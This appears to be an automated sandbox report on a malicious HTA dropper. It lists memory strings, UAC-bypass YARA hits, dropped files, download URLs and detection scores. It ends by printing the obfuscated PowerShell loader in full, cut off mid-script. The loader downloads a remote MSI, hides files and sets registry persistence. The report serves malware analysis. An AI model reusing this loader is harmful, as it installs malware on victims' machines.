Source: svchost.exe, 00000015.00000003.2521557740.00000199942A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.00000199942E8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.00000199942F4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://goto.itopupdate.com/appgoto?name=idr
Source: powershell.exe, 00000001.00000002.1851526313.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000015.00000003.2521557740.0000019994272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev
Source: powershell.exe, 00000001.00000002.1851526313.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev/ONHQNHFT.msi
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://s3.amazonaws.com/myfilelist/list
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://s3.amazonaws.com/myfilelist/list-dpm
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://s3.amazonaws.com/myfilelist/list-itop
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://s3.amazonaws.com/myfilelist/list-pdf
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://stats.reportcpanel.com/iusage_v2.php3
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://storage.googleapis.com/myfilelist/list
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://storage.googleapis.com/myfilelist/list-dpm
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://storage.googleapis.com/myfilelist/list-itopU
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://storage.googleapis.com/myfilelist/list-pdf
Source: IDRBackup.exe, 00000006.00000000.1870108159.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://storage.googleapis.com/myfilelist/listU
Source: IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2040896404.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2317219674.00000000041E0000.00000004.00000001.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000002.2066949006.0000000000766000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2042702808.000000000077E000.00000004.00000020.00020000.00000000.sdmp, IDRBackup.exe, 00000006.00000003.2044151618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49730 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 17.2.cmd.exe.2cb2800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.cmd.exe.37307f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 17.2.cmd.exe.2cb07f8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.cmd.exe.3732800.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.cmd.exe.37307f8.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.cmd.exe.507a6cd.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 17.2.cmd.exe.4c70acd.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 36.2.cmd.exe.49dba00.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 17.2.cmd.exe.2cb07f8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 36.2.cmd.exe.4a20acd.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.cmd.exe.5079acd.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.cmd.exe.55326cd.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 17.2.cmd.exe.4c716cd.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 30.2.cmd.exe.551b6cd.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.cmd.exe.56ecacd.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.cmd.exe.54eca00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.cmd.exe.56ed6cd.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 17.2.cmd.exe.4c2ba00.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 30.2.cmd.exe.551aacd.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 30.2.cmd.exe.54d5a00.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.cmd.exe.5034a00.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.comvalidate_ljv3.exe.26ddaed.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.comvalidate_ljv3.exe.26de6ed.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 36.2.cmd.exe.4a216cd.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.cmd.exe.56a7a00.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.cmd.exe.5531acd.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 33.2.comvalidate_ljv3.exe.2698a20.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2676, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\4fe762.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE9F2.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\4fe764.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\4fe764.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1A3A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3BBD.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\4fe764.msi

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701F7A4	6_2_5701F7A4
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57014514	6_2_57014514
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701856C	6_2_5701856C
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701AC3C	6_2_5701AC3C
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57014C4C	6_2_57014C4C
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57016C56	6_2_57016C56
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57016C58	6_2_57016C58
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570174E6	6_2_570174E6
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570174E8	6_2_570174E8
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701EB58	6_2_5701EB58
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57015384	6_2_57015384
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701CA20	6_2_5701CA20
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57018A80	6_2_57018A80
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57018058	6_2_57018058
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_57016068	6_2_57016068
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_5701709E	6_2_5701709E
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570170A0	6_2_570170A0
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570178C4	6_2_570178C4
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 10_2_50002EFC	10_2_50002EFC

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe 5AE3838D77C2102766538F783D0A4B4205E7D2CDBA4E0AD2AB332DC8AB32FEA9
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Aplanogamete\madbasic_.bpl 16126FF5DAA3787A159CF4A39AA040B8050EBB66AB90DBB97C503110EF72824A

Source: comvalidate_ljv3.exe.16.dr

Static PE information: Resource name: ZIP type: Zip archive data (empty)

Source: sqlite3.dll.5.dr	Static PE information: Number of sections : 18 > 10
Source: sqlite3.dll.6.dr	Static PE information: Number of sections : 18 > 10
Source: jwhchx.16.dr	Static PE information: Number of sections : 12 > 10

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: 17.2.cmd.exe.2cb2800.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.cmd.exe.37307f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 17.2.cmd.exe.2cb07f8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.cmd.exe.3732800.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.cmd.exe.37307f8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.cmd.exe.507a6cd.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 17.2.cmd.exe.4c70acd.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 36.2.cmd.exe.49dba00.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 17.2.cmd.exe.2cb07f8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 36.2.cmd.exe.4a20acd.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.cmd.exe.5079acd.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.cmd.exe.55326cd.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 17.2.cmd.exe.4c716cd.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 30.2.cmd.exe.551b6cd.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.cmd.exe.56ecacd.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.cmd.exe.54eca00.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.cmd.exe.56ed6cd.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 17.2.cmd.exe.4c2ba00.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 30.2.cmd.exe.551aacd.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 30.2.cmd.exe.54d5a00.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.cmd.exe.5034a00.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.comvalidate_ljv3.exe.26ddaed.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.comvalidate_ljv3.exe.26de6ed.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 36.2.cmd.exe.4a216cd.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.cmd.exe.56a7a00.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.cmd.exe.5531acd.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.comvalidate_ljv3.exe.2698a20.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: Process Memory Space: powershell.exe PID: 2676, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.expl.evad.winHTA@45/87@1/2

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe

Code function: 6_2_57001752 LoadResource,

6_2_57001752

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2688:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1284:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vq0v0zdq.t4h.ps1

Jump to behavior

Source: Yara match	File source: 10.2.IDRBackup.exe.50000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2318268652.0000000050001000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\toolsync_RO\rtl120.bpl, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Aplanogamete\rtl120.bpl, type: DROPPED

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: IDRBackup.exe, 00000006.00000002.2432675264.0000000061E9D000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: IDRBackup.exe, 0000000A.00000002.2432728783.0000000061E9E000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: IDRBackup.exe, 0000000A.00000002.2432728783.0000000061E9E000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: IDRBackup.exe, 0000000A.00000002.2432728783.0000000061E9E000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: IDRBackup.exe, 0000000D.00000002.2432290286.0000000061E98000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: IDRBackup.exe, 0000000A.00000002.2432728783.0000000061E9E000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: IDRBackup.exe, 0000000A.00000002.2432728783.0000000061E9E000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: es.hta	ReversingLabs: Detection: 23%
Source: es.hta	Virustotal: Detection: 26%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\es.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 